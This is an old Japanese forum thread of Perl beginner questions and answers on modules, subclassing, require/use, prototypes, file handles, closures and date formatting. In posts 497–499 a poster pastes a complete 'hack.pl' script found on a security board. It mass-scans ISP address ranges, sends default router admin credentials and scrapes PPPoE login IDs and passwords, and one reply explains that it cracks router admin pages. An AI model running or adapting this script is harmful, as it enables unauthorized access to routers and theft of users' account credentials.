my @data{@key} = split(/,/);
push @data_ref, \@data;
}
#No:と名前:の配列欲しいなら
@num = map{ ${$_}->{'num'} } , @data_ref;
@name = map{ ${$_}->{'name'} } , @data_ref;
#たぶんやりたいことと違うんだろうけど
ナンバーと名前から他のデータを引きたいってことか?
オマエモナー
かなり悪質な屑だな。
マルチだったのか(´・ω・`)
>>425 や、この程度のコードで苦労とか言われても(ノ∀`)
つか何で俺なわけ(;´д⊂
モジュールの作り方の質問です。って、ちょっと違うかもしれないですけど。 A.pm と A::Foo.pm があります。A::Foo は、A から use されるサブクラス で、A::Foo は Exporter で、いくつかのメソッドを A に輸出するような設計です。 ここで謎なんですが、A.pm の持ついくつかの変数を A::Foo に渡してあげたい のですが(ちょうど Exporter のように)、どうやったら良いのでしょうか? いずれは A::Bar とかも追加して、親クラスの変数を自動的に共有できると 良いなぁ、と思っています。共有っていっても read only なので参照ですかね。
CGI屋って屑率高くない? UNIXが分る分らないで俺は差別してるけどw
です、結局ラクダではなくラマ(?)の方を買いました。 というか、ラクダ前編と思って買ったんですが違ったんですね… 報告ということで。 で、一つ質問なんですが、Perlから接続する際 DBI/DBDで接続する方法があり、DBIモジュールとDBDモジュールがそれぞれ 必要ということがわかりました(ちなみにWin2000+Active Perlです)。 で、DBIはDOS窓から ppm install DBI と行えば大丈夫という話でしたがこれが失敗する場合 (Error installing package 'DBI' : Could not locate a PPD file for package DBI) CPANから直接取ってくる他にあるのでしょうか? よろしくお願いします。
あれ、投稿が消えた。 解決したとか書いたんだけども…
>>430 まずuseしただけではサブクラスにはなりません。
package Subclass;
use base Superclass;
でサブクラスになります。
それからサブクラスがスーパークラスにメソッドを輸出するというのが意味不明です。普通逆でしょ。
サブクラスのコンストラクタでは普通スーパークラスのコンストラクタを呼ぶので、スーパークラス
のメンバ変数(フィールド)は全部持ちます。しかしどうも文脈からするとインスタンスメンバでは
なく、クラスメンバのようですね。perlにはJavaのstaticのような仕組みはありませんので、
普通にスーパークラスのインスタンスを作っておいてそれから(クラスメンバとして使う)メンバを
参照するしかないんではないでしょうか。
...つーか、OOP分かってる?
>>432 今のラクダ本は1万円もするし、2冊で電話帳をはるかにしのぐ厚さなので、初心者には必要ないよ。
また、C言語でシステムコールを使ってUNIXプログラミングをした人に分かりやすいように書いてある。
UNIXでのC言語に慣れた人を除けば、素人にはおすすめできない諸刃の剣。
>>431 PerlでのCGIが流行した当時はPerlがバージョン4だったから、当時の流儀で未だにコード
書いてるやつは糞だね。俺はPerlは5になってようやく完成したと思っている。
Perl4と5はCとJavaくらい違うよ。
K&RとANSIC++ぐらいかなw
そうだな、CとJavaほどは違わないがCとC++くらいは違うな。
>>435 レスありがとうです。えと、OOP は多少は分かっているつもりですが、
perl に関してはかなり勘違いしていたみたいですね。perl 流が
分からないので、試行錯誤の結果がクソコードになっているかもです。
「static のような仕組みはありませんので」というトコで納得です。
どうもサンクスコでした。
Perl6はまたさらに大きく変わるな。 CPANのPerl6モジュールは見てて面白い。
>>430 =440
myとクラスメソッドを使えばstatic(のようなもの)は実装出来るし、
サブクラスからは完全なread-onlyの参照になるよ。
>>440 perlだとクラスメソッドとインスタンスメソッドの違いは第一引数の解釈で、インスタンスへの
リファレンスならインスタンスメソッドでクラス名ならクラスメソッド。これをプログラマがいち
いち手で書いてやらなきゃならない。newは演算子じゃなくてクラスメソッドなんですよ。
泥臭いでしょ。この辺が嫌になってpythonに乗り換えた。
確かに
>>442 の言うようにスーパークラスで一番外側のスコープでmyつけて変数を宣言
してやって、クラスメソッドでそれを弄くればクラスメンバ紛いのものになるけど...ローカル変数
使ってクラスメンバを実装するのは何か嫌だな。全然性格の違うものだからな。
>>443 ourで宣言しちゃって完全なクラスメンバにしちゃうって手も。
まぁそうするとread-onlyに出来なくなるんだけれども。
require, use, @ISA(継承)の違いがよくわかりまへん。
>>445 requireは実行時に、requireのところまでキタところで、requireで指定されてるコードをそのまま
ベターッと実行する。この時まだそのコードがロードされていないかどうかを調べて、二重起動を
防ぐ働きも持つ(Cでの#ifndef...#endifみたいな)。さらに@INCを検索して、その中にあればフルパス
を書かなくても実行してくれる。
useは呼び出し側のコードをコンパイルしてる時に実行するので、どこに書いても同じ効果が
ある。そして、定義されていればクラスメソッドのimportを呼び出す。
@ISAはスーパークラスの名前を格納するアレイだけれども、これを直にいじるのはもう古い。
use base qw(Superclass);
とやることで@ISAにセットしてくれる。蛇足だが同様に@INCを直にいじるのも古くて、
use lib qw(path/to/lib);
と書くようにしよう。
サブルーチンのプロトタイプの意義がよく分からないのですが、 みなさんはどのような時に使ってますか?
とりうる引数を制限することによって 間違いを見つけやすくする。
>>449 なるほど、間違った引数が設定されたらエラーになるってことですね。
参考書によるとプロトタイプは&hogeのように&をつけると機能しない
らしいのですがこれは何故なんでしょう?
いつも自作のサブルーチンは分かりやすいように明示的に&をつけて
いるのでちょっと残念なんですが。
2年ほどPerl触ってましたが恥ずかしながらプロトタイプ初めて知りました。 push(@hoge,@huga); のような配列を複数渡すようなサブルーチンはプロトタイプを使って作るんですねぇ。 勉強になりました。
453 :
デフォルトの名無しさん :03/10/01 22:45
りふぁれんすでよかよか
454 :
目指せらりーうぉーる :03/10/01 23:46
perlを配属されて、初めてつかっている素人です。 今、あるフォームに値を入力して、実行するプログラム があるのですが、フォームの値を決定したあとに、 プログラムが予期せぬ動作をします。 perlデバッガを使ってプログラムの動きをトレースしたいのですが、 フォームに入力するという山をどうやって越えればいいかわかりません。 これはどのようにすれば、解決できるのでしょうか?
456 :
目指せらりーうぉーる :03/10/02 07:30
値がどんな形で渡されるのかは、理解しています。しかし、perlはコマンドライン で動くじゃないですか。フォームに入力される値をどのようにしてコマンドラインから 渡すことが可能なのかしりたいのです・・・。
>>456 環境変数
REQUEST_METHOD
QUERY_STRING
STDIN
ぐぐれ
>>445 requireとuseの違いは、446と447が回答済み。
継承とuseの違いも似たところがある。
以下の3つのファイルを作り、XYZ.pmの下にコメントで書いてあるcase1&2の
それぞれを実行してみると良い。
ベースクラス ABC.pm
package ABC;
sub alloc {
my $type = shift;
my $self = {};
$self->{'abc'} = 'ABC';
bless $self, $type;
}
1;
(上の続き) 派生クラス XYZ.pm package XYZ; use ABC; @ISA = qw(ABC); sub new { my $type = shift; my $self = $type->alloc; $self->{'xyz'} = 'XYZ'; bless $self, $type; } 1; # case1 : allocコールをABC->allocと書くなら、ABCを継承しなくて良い。 # case2 : ABCがXYZにallocを輸出しているなら、ABCを継承しなくて良い。 メインパッケージ #!/usr/bin/perl use XYZ; $a = XYZ->new; print "xyz = ", $a->{'xyz'}, "\n"; print "abc = ", $a->{'abc'}, "\n";
461 :
デフォルトの名無しさん :03/10/02 17:34
画像をキャプチャーする場合の座標を どうやったら正確に求めることができますか?
perlからUNIXのシェルを呼んでいるのですが 通常Apacheの起動ユーザかnobodyになっているので シェル実行ユーザも当然nobodyになります シェル呼び出し時に実行ユーザの指定ってperl側で可能でしょうか? (nobodyじゃなくしたい) いろいろ調べたのですが手がありません どなたか知恵をお貸しください お願いします
perlからあるURLをx上のブラウザで開く方法を教えてください system('netscape URL')では引数がローカルファイルとみなされてしまいます。
板違い。 "perlから"ってついてるだけで、 知りたいのはシェルで実行するのと同じ方法だろ。
468さん 助かりました! ありがとうございました
Perlをマスターしたら女性にもてますか?
473 :
デフォルトの名無しさん :03/10/03 02:14
もてる。
マジですか!! とりあえず中級に行けるようがんばりまっす!!
perlからxのウインドウを制御する方法はないですか? xlibとかperl/tkとかでできるのかな? 具体的にはアクティブなウインドウを順番に変えて行きたいんだが
CGI Perlでsendmailを使ってメールフォームを作りたいと思います。 どこかにフリーで公開しているところはないでしょうか? 探してもなかなか見つかりませんでした。 よろしくお願い島S。
スレ違いのアフォはともかく 善意で答えるのも控えてくだされ 正しく誘導して答えは書かない これでおながいします
445です。遅くなりましたが、みなさん(446,447,459-460)、どうもありがと。 輸出のメカニズムがまだわからないけど、以前よりスッキリしたよ。
476です。 1を3回ぐらい読んだあたりから、 このスレの理解しました。 どうもありがとうございました。
言い方を変えます。 Perl言語を使ってでsendmailを使ったメールフォームを作りたいと思います。 どこかにフリーで公開しているところはないでしょうか? 探してもなかなか見つかりませんでした。 どうかよろしくお願いします!。
>>481 man sendmail
うに板風に(w
あとエンコードを忘れずにね ♥
Σ(´Д`;)名前に変な数字が入ってた…俺。
つかCGIって文字なくしただけじゃんよw 3回じゃ足りなかったみたいね。 WebProg板にCGI探すようなスレがあっただろ。そっちいけ。
googleで「Perl sendmail メールフォーム フリー」って検索すると200件ほど出るんだけど ホントどうゆう探し方してるんだろ・・・
>>479 乗りかかった船だから W)
package ABC;
# メソッド輸出時の決まり文句
use Exporter;
@ISA = qw(Exporter);
@EXPORT = qw(alloc);
# Exporterは、ABCに、輸出を担当するimportメソッドを輸出しないので、
# 使うときには、Exporter::importとする必要があるが、XYZのuse ABC;で、
# ABC->importの形で呼び出されるので、Exporterを継承しておく。
# (Exporter::Liteというモジュールもあり、これはimportを輸出するので、
# useするだけで良い。)
# なお、輸出担当の名前がimport(輸入)なのは、
# Perlの不思議の一つ(「Effective Perl」より)。
sub alloc {
以下同じ。
489 :
初心者さん :03/10/03 15:29
初心者ですが、質問させて下さい。 このソースをコピペで実行したのですが、エラーが出ます。 どこにあるのでしょうか。 調べましたが分かりませんでした。 教えてほしいです。 以下ソースです。 #!/usr/bin/perl open(FILE, ">test.txt") or die; print FILE, "aaaaa\n"; close(FILE); パーミッションの設定は間違ってません。 755にしてます。 それから、このようなエラーが出ます。 No comma allowed after filehandle at open3.pl line 4. 翻訳すると、コンマはopen3.pl 4行でfilehandleの後に許可しませんでした。 となりました。 お願いします。
print FILE, "aaaaa\n"; これを print FILE "aaaaa\n"; こうしてみ print はリスト(カンマ区切りの)を受け取るから ファイルハンドルを指定する時には、そこにはカンマを付けない # 正確ではないけど、まぁ間違いでも無いだろ
491 :
初心者さん :03/10/03 15:36
>490さん こんなに速く返信くるなんて光栄です。 有難うございます!! 早速試してみます。 結果は後ほど報告します。
>>489 > No comma allowed after filehandle at open3.pl line 4.
> コンマはopen3.pl 4行でfilehandleの後に許可しませんでした。
答え出てますが...
「open3.pl 4行目にある、filehandleの後のカンマは使用できません。」
493 :
初心者さん ◆eV4qRmoLQw :03/10/03 15:41
>490 さん、出来ました!! 本当に有難うございます。 こんなところでつまづいてたら、この先思いやられますよね・・・。 なんとか、質問者に答えれるようになりたいと思います。 有難う御座いました。 また、分からないときは質問するかもしれません。 その時はよろしくお願いします。
494 :
デフォルトの名無しさん :03/10/03 19:15
Zellarの公式を使って曜日を取得するのと time関数を使って曜日を取得するのは パフォーマンス的にはどっちが早いですか?
497 :
デフォルトの名無しさん :03/10/03 23:07
#!/usr/bin/perl # ODN 61.123.128.0/19 # ODN 61.201.0.0/18 # Nifty 61.121.64.0/19 # Nifty 61.210.0.0/18 # RIMNET 202.247.144.0/21 if ($ARGV[0]=~/(\d+)\.(\d+)\.(\d+)\.(\d+)\/?(\d*)/) { $ip[0]=$1;$ip[1]=$2;$ip[2]=$3;$ip[3]=$4; $m=($5>=16)?$5:24;$c=2**(32-$m); if ($m<24) {$ip[3]=0;$ip[2]=int($ip[2]*256/$c)*$c/256;} elsif ($m>=24) {$ip[3]=int($ip[3]/$c)*$c;} } else {print "example: hack.pl 61.210.6.0/24\n";exit;} $|=1;$SIG{'ALRM'}='kill'; for ($i=1;$i<=$c;$i++){ $pid=fork; if ($pid==0) {alarm 3;&ip;exit;} push(@pida,$pid); unless ($i%64) { sleep 1; if($#pida>=255){foreach $j (1..64) {waitpid(shift(@pida),1);}}} $ip[3]++; if ($ip[3]==256) {$ip[2]++;$ip[3]=0;} }
498 :
デフォルトの名無しさん :03/10/03 23:08
waitpid(shift(@pida),1) while ($#pida >= 0);sleep 1;print STDERR "\n"; sub ip {$ipstr="$ip[0].$ip[1].$ip[2].$ip[3]"; $addr=pack('CCCC',$ip[0],$ip[1],$ip[2],$ip[3]); $this=pack('S n a4 x8',2,0,"\0\0\0\0"); $that=pack('S n a4 x8',2,80,$addr); socket(S,2,1,6); bind(S,$this); unless (connect(S,$that)) { print STDERR "$ipstr...refused \r";return;} $fh=select(S);$|=1;select($fh); print S "GET / HTTP/1.0\r\n\r\n";
499 :
デフォルトの名無しさん :03/10/03 23:11
while (<S>) { $server=$1 if (/^Server: ([^\r\n]*)/); $au=$1 if (/^WWW-Authenticate: Basic realm="(\w*)"/);} close(S); unless (($server=~/^ALLIS\/FOS/ && $au eq 'user') || ($server=~/^Apache\/1\.1\.3$/ && $au eq 'Config')) { print "$ipstr...failed1 ($server)\n";return;} $this=pack('S n a4 x8',2,0,"\0\0\0\0"); $that=pack('S n a4 x8',2,80,$addr); socket(S,2,1,6); bind(S,$this);connect(S,$that)||return; $fh=select(S);$|=1;select($fh); &atur if ($server=~/^ALLIS\/FOS/); &mega if ($server=~/^Apache\/1\.1\.3$/); if ($suc==2) {print "$ipstr...ID: $id, Password: $pass ($server)\n";} else {print "$ipstr...failed2 ($server)\n";} } sub atur {print S "GET /easy HTTP/1.0\r\nAuthorization: Basic Y29uZmlnOg==\r\n\r\n"; while (<S>) { if (/NAME="PA_LOG"/) {/VALUE="([^"]+)"/;$id=$1;$suc++;} if (/NAME="PA_PS"/) {/VALUE="([^"]+)"/;$pass=$1;$suc++;}}} sub mega {print S "GET /cgi-bin/Basicset.cgi?basic_num=1&reloadmenu=1 HTTP/1.0\r\nAuthorization: Basic cm9vdDpyb290\r\n\r\n"; while (<S>) { if (/NAME="send_id"/) {/VALUE="([^"]+)"/;$id=$1;$suc++;} if (/NAME="send_passwd"/) {/VALUE="([^"]+)"/;$pass=$1;$suc++;}}} sub kill {exit;}
500 :
デフォルトの名無しさん :03/10/03 23:12
めっちゃ長くて見にくいですがどなたかないようが わかる方いますか?セキュリティ板のスレッドで 昔あったものなんですが偶然発見しました。 なんかすごそうなのものなのでどういうものか気になったので。 なんか怖そうなので実際に実行とかはしませんが。 お願いします。
>>496 初心者とバカは違うと心得よ。
あと個人的に
自分で自分のことを初心者という奴は死んでほしい。
>>496 >>1 に書いてあるとおり、ここは「Perlについての質問」をするスレです。
>>466 はPerlのsystem関数を使ってるもののPerlとは直接関係ない質問だから
スレ違いとみなされたのだと思います。
例えばなんだけど $a -> $b だとどういう処理になるの? $a から $bをひくって事?
506 :
デフォルトの名無しさん :03/10/03 23:52
/⌒ヽ / ´_ゝ`)失礼。ここageないと行けないので、ちょっとageますね・・・ | / | /| | // | | U .U
507 :
デフォルトの名無しさん :03/10/03 23:53
>>494 time関数 内部コードはネイティブだからな
508 :
デフォルトの名無しさん :03/10/04 00:25
デリファレンスってことは => と -> の意味合いは同じって事ですかね?
アリャーマ $a => $b $a は $b以下 $a -> $b ・・・?・・・イミフメーイ デリファレンス処理について教えてくれませぬか・・? 下のほうの処理の意味はマジサパーリですしぐぐっても 意味不明サイトしか出ない・・(ノД`)
よいこのみんな、一冊くらい本読もうね。
>>504 >>510 「->」は矢印演算子。
http://www.kt.rim.or.jp/%7ekbk/perl5.005/perlref.html package Foo;
sub bar { print 'baz' }
package main;
my $foo = "Foo";
my $bar = 'bar';
$foo->$bar(); # baz
「=>」はコンマ演算子 (,) とほぼ同じだが、左オペランドが
裸のワードならクォートされているものと見做してくれる。
#--- test1.p ---
use strict;
my %foo = (foo, 'bar', "baz", q|boo|);
__END__
#--- test2.p ---
use strict;
my %foo = (foo => 'bar', baz => 'boo');
__END__
% perl -wc test.p
Bareword "foo" not allowed while "strict subs" in use at test1.p line 2.
test1.p had compilation errors.
% perl -wc test2.p
test2.p syntax OK
「>=」と「<=」が比較演算子。
>>500 なんだろ。ウェブサーバのセキュリティチェックかな?
ALLIS/FOSかApache1.1.3のクラックしてるっぽい
サーバを管理するCGIをのっとって、なんか重要なデータ引き出してるみたいだ。
見たところ、もうこんな手法でクラックできるようなサーバはないので、捨ててよし
最低基準ラマ本 ってのはダメかな
質問するときは通読した本を一冊必ず挙げるってのは?
ラマ本良いんだけど、プログラミング自体の経験が無い人には 手放しで薦められない所もちょっとあるんだよね ラマ本からプログラミング入るのが無理だとは思わないけど
実力をもう一段階ageたいんでEffective(ryとクックブック、どっちか欲しいんだけども どっちか買うならどっちがオススメですかね? 両方買う金は無いです ラクダは通読してます
初心者に条件反射的にオライリー本勧める奴は信用しない方がいい。 本当に読んだのか疑わしい。読んだのなら、「初心者の大半は自分より劣る能力しか持たない」 という当たり前のことも分からないアフォ。
ポケリファしか使ってない奴に勧めるのは当然だろ。 まぁ初心者はEffectiveのがいいと思ってるけど。 私的には Effective→料理→黒豹 の順。 ラクダはperldocの英語が読めない人用やね。
>>523 ゴミレスするくせに、推薦する本の一冊も挙げられないあんたこそアフォ
んじゃeffectiveのほう買って見るんで感想書けたら書いてみます ところで自分の実力ってどの辺で測ればいいのかなぁ CPANのモジュールのコードと比べてみるとかですかね?
>>529 モジュールのインターフェースだけ見てそれを実現するコードを実装し、Benchmarkで比較とか。
不毛な行動だが。
>>529 実力ってそもそも数値で現われるようなもんじゃないしなぁ。
料理本だって憶えなくても使えればいいわけだし、
モジュールだって範囲広すぎてどれをカバーすれば
どんくらい実力あるのかはわからんからね。
まぁ黒豹に書いてあるのが8割理解出来たら初心者は脱してると思われ。
あくまで私的な推測だけど。
俺は例えるならあれだな、難しい漢字読めるけど書けないってやつ
533 :
デフォルトの名無しさん :03/10/06 10:43
ファイルの最後の行だけ読込むのってどうすればできますか?
>>533 普通に開いて、最後の行まで回すか、
配列に入れて$#の値を取得かどっちかかなあ。
>>534 やっぱ、それしかないですか。レスありがとうございました。
>>533 seekで、ファイルの最後から適当な文字数だけファイルポインタを戻す。
そこからファイルの最後まで読んで、/\n(.*)\n/s かなんかでマッチするか調べる。
改行がなかったら、さらに戻して、繰り返す。
でどうかな。ちょとめんどうだけど、ファイルが巨大だったりすれば、実行速度の差は
大きくなるはず。
>>536 /\n([^\n]*)\n[^\n]*/s かなあ
かなり適当に書いてるけど。しくみはわかるとおもう。
$last_line = `tail -n 1 $filename`;
>>538 それなら536のと大差ないのでは。しかも環境依存だし。
540 :
デフォルトの名無しさん :03/10/06 19:55
windows で activeperlを使っていますが perlmagic がインストールできません。 どうやればインストールが出来るか知ってるかたいますか? おしえて欲しいです。
544 :
デフォルトの名無しさん :03/10/06 21:40
Perlには例外処理が実装されていませんが皆さんはどうしてますか? やはりevalによる代替でしょうか、それともError.pmなどのモジュールを 使ってるんでしょうか?
%SIG ちょと強引(w
546 :
デフォルトの名無しさん :03/10/06 22:46
>>541 そのバージョンじゃなくて、最新版のperlmagicなんだけど。
古いのはもうDLできない。
MP3ファイルにSJISで書き込まれているタグを EUCに変換してLinux上で日本語が表示される様に したいのですが、 どんなモジュールを使ったらよろしいのでしょうか? 御存じの方がいらっしゃいましたら使い方も 含めて教えてください。 よろしくお願いします。
548 :
デフォルトの名無しさん :03/10/07 09:22
クロージャの練習のため、こんなコードを書いてみました for (my $i = 0; $i <= 4; $i++) { push (@a, sub{ shift() + $i; }); } for (my $j = 0; $j <= 4; $j++) { print &{ $a[$j] }(10),"\n"; } $i が最初のループが廻るたびに記憶されて、2つめのループでは10,11,12,13,14と printされるかな、と思いきや、そうなりません。そこで少し変えて最初のループを for (my $i = 0; $i <= 4; $i++) { my $k = $i; push (@a, sub{ shift() + $k; }); } とすると、思い通りになります。 これって不思議な感じしないっすか? 最初のコードで出力される15っていうのが、 $iの幽霊のよな。
>>550 $i が my で宣言されるのはどちらの場合でも最初の一回だけだが
$k はループの度に宣言されているからだろう。
$i のスコープは for ループ内だから、前者だとループ終了時点での
$i = 5 が全ての無名サブルーチンリファレンスで記憶されるんだろう。
552 :
デフォルトの名無しさん :03/10/07 12:15
使わなくなった配列とかは @array=(); とかやっといたほうがいいのですか?
>>552 undef @array;
適切にスコープを区切ってたら勝手に片づけてくれるけどね。
>>551 そうですね。$i を格納しているアドレスは1つであってループが廻るたびに
変化しますからね。
しかし、クロージャと言っている割にいつの間にか @a の要素のサブルーチンが
変わってしまうのは、いまいちださいというか、直観的でない感じじゃないですか?
pushした直後は sub {shift() + 0}, ... が入っているんだから、それを保持しと
いてくれよ。と言いたい気がします。大きいプログラムを組む時にバグに気が付か
ない原因になりそう。まあ Perl の仕様といえばそれまでですが。
>ロージャと言っている割にいつの間にか @a の要素のサブルーチンが >変わってしまうのは、 サブルーチンが変わってるわけではないじゃん。 my変数だろうがlocal変数だろうが、 シンボルによる変数参照のスコープが違うだけ。 値自体は同じ空間に並んでると思われます。 実際リファレンスを取ったら、スコープを外れても値自体はずっと存在します。 で、あなたの例だとfor(my $i...という、ここでmy変数を宣言している。 これだと、ループの最初の一回でしか宣言されてない。Perlのmyというのは 関数のように考えないとダメです。これの第一の機能はヒープ領域に変数の値域を 確保することであって、変数宣言におけるスコープ限定は二次的な機能です。 そしてクロージャにおいて、なぜmy変数でないとダメかというと、 結局クロージャにおいて保持されているのは変数に対するリファレンスなので local変数ではその値が上書きされてしまうことです。my変数ならばスコープを 抜ければ、自動的にアクセスできない変数となるから、値が保持されている ように「見える」だけなんです。
おまえら、Cもちゃんと勉強してるんだろうな?
556の補足ですが、クロージャに渡すmy変数のリファレンスを取ることは 当然の帰結としてあまりよくないことだと言えると思います。それは 作成したクロージャを破壊してしまうことを意味しますので。
559 :
初心者さん ◆eV4qRmoLQw :03/10/07 17:05
また、質問させてください。 単にファイルから1行(数字)を取ってきて、カウントアップさせて また、ファイルに書き込む作業をしているのですが、 うまくいきません。 下記のコードのどこが悪いか分かりませ。 どなたかご教授下さい。 #!/usr/bin/perl $filename = "renban.txt" ; open(FOUT,"+>$filename") ; print "$filenameをオープンしました。\n" ; $count = 1 + <FOUT> ; while( <FOUT> ) { print "STEP1\n" ; } 試しに、STEP1を出力しようとしましたが、出力すら出来ません。 お願いします。
>>559 どっかの掲示板スクのアクセスカウンタがどういう構造になってるか調べてみたら?
>>559 何しようとしてるのか、さっぱりわかんね
>>559 それは取ってきてないし、書き込んでなんかないから。
初心者なら初心者らしくいっこいっこやれ。
まず"renban.txt"を手で書いて置いといて、それを表示してみる。
上手くいったら、それを書き換えてみて、ファイルを直に覗いてみる。
上手くいったらそいつをプログラムを介して表示してみる。
そんで繋げて一連のプログラムにする。
わかった?
クロージャ関係でお騒がせしたので、
>>559 を少し書いてみます。
まずポイントとしては、
1つのファイルを読み込むのと、そこに書き込むのとは同時には出来ない
という点があります。
なので、
(1) renban.txt (数字が1行に1個かいてあるんですか?) をまず読み込み
専用で開いて、全部読んでしまい、1行ずつに書いてある数を配列に記憶
する。ファイルは閉じる。
(2) その配列に入っているそれぞれの数に、1を足す
(3) 今度は、renban.txtのファイルを、書き込み用に開いて、(2)の配列
から、1個ずつ、書き込む。最後にファイルを閉じる。
という手順で、プログラムを考えるとよいと思います。
あるいは、
(1) renban.txt を読み込み専用で開く
(2) renban2.txt などの新しいファイルを書き込み専用で開く
(3) (1) から1行読み込み、その数に1を足し、(2) に書き込む
(4) (3)を、ファイルが終るまで繰り返す
(5) 両方のファイルを閉じる
(6) renban2 .txt を renban.txtに名前を変える
という手順でもよいです。
>>556 その、クロージャの「内側の仕組み」は、そうなっていることは承知
なのですが、そういったC言語ぽい「アドレス」の仕組みを意識していないと
正しいコードを書けない、という印象は、やはりあります。forループの中で
新たに my $k を、必要な個数だけ意図的に作成しないと、無名サブルーチン
に捕捉してもらえない、というのは不自然な仕様じゃないですかねえー
まあ言ってもPerlが変わる訳じゃないので覚えるしかないのですが。
>>550 ではどうなっていればいいんでしょうか。
$iが無名関数において使われていることをパースした段階で
認識したら、値のコピーを作成してそれに対するリファレンスを
無名関数に埋め込むようにするとか?
LISP処理系やPerl自身の内部はあまりよく分っていませんが、
あるところでの言語としての設計とパフォーマンスを意識した
トレードオフがあるんだと思います。
565 :
初心者さん ◆eV4qRmoLQw :03/10/07 20:59
>>563 さん
どうも有り難う御座います。
単に、ファイルの先頭行のみに数値を保持してるだけなんです。
色々と試し、ファイルの中身が消えている事などが分かりました。
だから、where文を通ってませんでした。
結局ファイルを開くモードを変更して、成功しました。
どうも、すいません。
これからは、もう少し試行錯誤してから質問します。
月を英単語として出したいんですけど、どうやったら出来ますか? 日は普通に出来るけど・・・ sub GetTime { $ENV{'TZ'} = 'JST-9'; my($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); my $day = ('sun','mon','tue','wed','thu','fri','sat')[$wday]; my $this_year = $year + 1900; my $this_month = $mon + 1; #my $date = sprintf("%04d/%02d/%02d(%s)",$this_year,$this_month,$mday,$day); my $date = sprintf("%04d/%02d/%02d(%s) %02d:%02d:%02d",$this_year,$this_month,$mday,$day,$hour,$min,$sec); return($this_year, $this_month, $date); }
日と同じようにやればいい
>>566 これを実行したら、tueと表示されたが...?
>>568 mon tue wedとかじゃなくて10月、11月とかを英単語として出したいんです。
>>569 ('Jan','Feb',...)[$mon]
ってのを用意しないとだめだろ。
sub GetTime { # タイムゾーンの設定。動くところもあれば動かないところも(汗) $ENV{'TZ'} = 'JST-9'; my($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); my $day = ('sun','mon','tue','wed','thu','fri','sat')[$wday]; my $tuki = ('Jan','Feb','mar','apr','may','jun','jul','aug','sep','oct','nov','dec')[$mon] my $this_year = $year + 1900; my $this_month = $mon + 1; #my $date = sprintf("%04d/%02d/%02d(%s)",$this_year,$this_month,$mday,$day); my $date = sprintf("%04d/%02d/%02d(%s) %02d:%02d:%02d",$this_year,$this_month,$mday,$day,$hour,$min,$sec); return($this_year, $this_month, $date); }
print scalar(localtime); で解決だったりして(w
なるほど my($wday, $mon, $mday, $hhmmss, $year) = split(/\s+/, scalar(localtime) ); こんなんでいいのなw つか英語表記するなら並びかえれるように変数に小分けする必要ない気もw
>>573 漏れも余計な変数を使いたくないが為に、普段は my @DATE = locatime; にしちゃってるし。
575 :
デフォルトの名無しさん :03/10/08 15:35
エラーの出力で質問なんですが、 die、warnとCarpモジュールのcarp、croakはどのように使い分ければ 良いのでしょうか?
DBD::AnyDataを使って、CSVを読み込みSQLでレコードを取得しようとしているんですが、 WHERE句のところでどうもおかしくなるみたいなんです。 色々試したところ、 select * from foo where (1=1) and (1=1) and (1=1) and (1=1) というような、(***)が4つ以上出てくると、SQL ERRORとなってしまうようです。 ちなみに、 select * from foo where 1=1 and 1=1 and 1=1 and 1=1 select * from foo where (1=1) and (1=1) and (1=1) and 1=1 などは正常に動きます。 (Postgresとかに繋いだ場合は、(***)が4つ以上出てきても問題ないみたいです) SQL::Statement、SQL:Parserの挙動があやしいと思うんですが、 どなたか詳しい方います?
>>575 dieですと単に「何行で氏んだ」で終わりですが、carp()を使うとサブルーチンや他のモジュール
なんかでcarp()を呼んで氏んだ時に、どこで呼ばれたのかを表示します。
ヤレヤレ、Pythonでは標準装備なんですがね...
578 :
デフォルトの名無しさん :03/10/09 01:50
>>577 では、メインルーチンではdie、warnでサブルーチン/モジュールでは
carp、croakを使うってことでよろしいでしょうか?
>>578 「コードのどの部分で死んだか」が知りたければ die
「どの呼び出しが原因で死んだか」はcarp
だからまぁ、多くの場合メインルーチン/サブルーチン(というか、書いたコード/ライブラリ)って事だね
後は、「死んだ場所のコード」に関心があればdie、なければcarp
これも似たようなもんだね
perl でバイトオーダーの変換ってどうするればいいのかな? sparc で書かれたバイナリファイルを x86 で読みたいのだけれど、 n とか v とか使って unpack/pack/unpack してみたり、 unpack して C 単位で配列に読み込んで並べ替えて pack/unpack してみたりしたけどなんかだめっぽい...
>>579 use Carp;
ってやらないとだめじゃない?こんな関数あったんだねー
584 :
デフォルトの名無しさん :03/10/10 02:22
ちと、初歩的な事を聞いちゃうけど cgiでformでページ移動する時に 移動先ページのエンコードが何故か西ヨーロッパ言語(windows)になっちゃうんですよ ヘッダーでは <META HTTP-EQUIV="Content-type" CONTENT="text/html; charset=Shift_JIS"> を記述してるし ヘッダーのサブルーチンはちゃんと呼び出してるし なるわけねぇのに、必ず西ヨローパになるわけなんだが わかる神は教えてくださいな
>>584 ここは分る人いないんじゃない?WebPG板へどうぞ。
>>584 全然perlの話じゃないから教えない。
webprgに行っても、perlスレで質問するんじゃないぞ。
CGIのスレとか、HTTP系のスレか、ブラウザ系のスレでドゾー。
587 :
デフォルトの名無しさん :03/10/10 03:56
PerlもCGIも同じだと想うのに・・・(||´ー`)
588 :
デフォルトの名無しさん :03/10/10 04:01
>>587 はげどう。
頭の固い人が多くて困るね。
perl と cgi が同じだと思ってる人が多いことの方が困る。
>>587-588 死んだほうがいいよ。
>>584 ><META HTTP-EQUIV="Content-type" CONTENT="text/html; charset=Shift_JIS">
これをヘッダーと呼ぶならHTML系スレへ池
WebProg行ってもこれをヘッダーとか言ったらバカにされるだろうよ
IEの話だね PerlもCGIも関係ない HTMLやってる人ならブラウザ依存の話題は嫌がらないだろ
next if /foo/; next if /bar/; ってのと next if /(foo|bar)/; っての,どっちが良いんでしょ? 別にnextじゃなくてもいいんですけど, ifを2回続けるのと1回だけど正規表現が複雑になるのとどっちが良いのかと思って… # 速さとか見た目とかコード量とかも含めて色々意見がありそう
next if (/foo|bar/); のほうが速い。 どっちを使うは趣味。
>>592 見た目も判断基準に入るなら
next if (/foo/ or /bar/);
なんてのも候補かもね。
>>584 print FILE2 '<html>' . "\n";
print FILE2 '<head>' . "\n";
print FILE2 '<title>R A G N A R O K </title>' . "\n";
print FILE2 '<meta http-equiv="content-type" content="text/html; charset=' . $xmlcodes[$s]. '">' . "\n";
print FILE2 '</head>' . "\n";
print FILE2 '<body><pre>' . "\n";
